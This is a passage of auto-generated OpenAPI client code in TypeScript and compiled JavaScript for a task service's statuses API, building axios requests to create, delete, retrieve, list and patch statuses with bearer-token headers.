| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| createStatus(requestParameters: StatusesApiCreateStatusRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CreateStatusResponseClass, any, {}>>; | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {StatusesApiDeleteStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| deleteStatus(requestParameters: StatusesApiDeleteStatusRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<void, any, {}>>; | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {StatusesApiGetStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| getStatus(requestParameters: StatusesApiGetStatusRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetStatusResponseClass, any, {}>>; | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {StatusesApiListStatusesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| listStatuses(requestParameters?: StatusesApiListStatusesRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListStatusesResponseClass, any, {}>>; | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {StatusesApiPatchStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| patchStatus(requestParameters: StatusesApiPatchStatusRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<PatchStatusResponseClass, any, {}>>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.StatusesApi = exports.StatusesApiFactory = exports.StatusesApiFp = exports.StatusesApiAxiosParamCreator = void 0; | ||
| var axios_1 = __importDefault(require("axios")); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var common_1 = require("../common"); | ||
| // @ts-ignore | ||
| var base_1 = require("../base"); | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| var url_1 = require("url"); | ||
| var FormData = require('form-data'); | ||
| /** | ||
| * StatusesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| var StatusesApiAxiosParamCreator = function (configuration) { | ||
| var _this = this; | ||
| return { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createStatus: function (createStatusRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'createStatusRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('createStatus', 'createStatusRequestDto', createStatusRequestDto); | ||
| localVarPath = "/taskservice/v1/statuses"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(createStatusRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteStatus: function (code, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('deleteStatus', 'code', code); | ||
| localVarPath = "/taskservice/v1/statuses/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'DELETE' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getStatus: function (code, authorization, expand, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('getStatus', 'code', code); | ||
| localVarPath = "/taskservice/v1/statuses/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listStatuses: function (authorization, filter, filters, search, order, expand, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| localVarPath = "/taskservice/v1/statuses"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (filter !== undefined) { | ||
| localVarQueryParameter['filter'] = filter; | ||
| } | ||
| if (filters !== undefined) { | ||
| localVarQueryParameter['filters'] = filters; | ||
| } | ||
| if (search !== undefined) { | ||
| localVarQueryParameter['search'] = search; | ||
| } | ||
| if (order !== undefined) { | ||
| localVarQueryParameter['order'] = order; | ||
| } | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchStatus: function (code, patchStatusRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('patchStatus', 'code', code); | ||
| // verify required parameter 'patchStatusRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('patchStatus', 'patchStatusRequestDto', patchStatusRequestDto); | ||
| localVarPath = "/taskservice/v1/statuses/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'PATCH' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(patchStatusRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.StatusesApiAxiosParamCreator = StatusesApiAxiosParamCreator; | ||
| /** | ||
| * StatusesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| var StatusesApiFp = function (configuration) { | ||
| var localVarAxiosParamCreator = (0, exports.StatusesApiAxiosParamCreator)(configuration); | ||
| return { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createStatus: function (createStatusRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.createStatus(createStatusRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteStatus: function (code, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.deleteStatus(code, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getStatus: function (code, authorization, expand, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.getStatus(code, authorization, expand, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listStatuses: function (authorization, filter, filters, search, order, expand, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.listStatuses(authorization, filter, filters, search, order, expand, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchStatus: function (code, patchStatusRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.patchStatus(code, patchStatusRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.StatusesApiFp = StatusesApiFp; | ||
| /** | ||
| * StatusesApi - factory interface | ||
| * @export | ||
| */ | ||
| var StatusesApiFactory = function (configuration, basePath, axios) { | ||
| var localVarFp = (0, exports.StatusesApiFp)(configuration); | ||
| return { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createStatus: function (createStatusRequestDto, authorization, options) { | ||
| return localVarFp.createStatus(createStatusRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteStatus: function (code, authorization, options) { | ||
| return localVarFp.deleteStatus(code, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getStatus: function (code, authorization, expand, options) { | ||
| return localVarFp.getStatus(code, authorization, expand, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listStatuses: function (authorization, filter, filters, search, order, expand, options) { | ||
| return localVarFp.listStatuses(authorization, filter, filters, search, order, expand, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchStatus: function (code, patchStatusRequestDto, authorization, options) { | ||
| return localVarFp.patchStatus(code, patchStatusRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.StatusesApiFactory = StatusesApiFactory; | ||
| /** | ||
| * StatusesApi - object-oriented interface | ||
| * @export | ||
| * @class StatusesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| var StatusesApi = /** @class */ (function (_super) { | ||
| __extends(StatusesApi, _super); | ||
| function StatusesApi() { | ||
| return _super !== null && _super.apply(this, arguments) || this; | ||
| } | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {StatusesApiCreateStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| StatusesApi.prototype.createStatus = function (requestParameters, options) { | ||
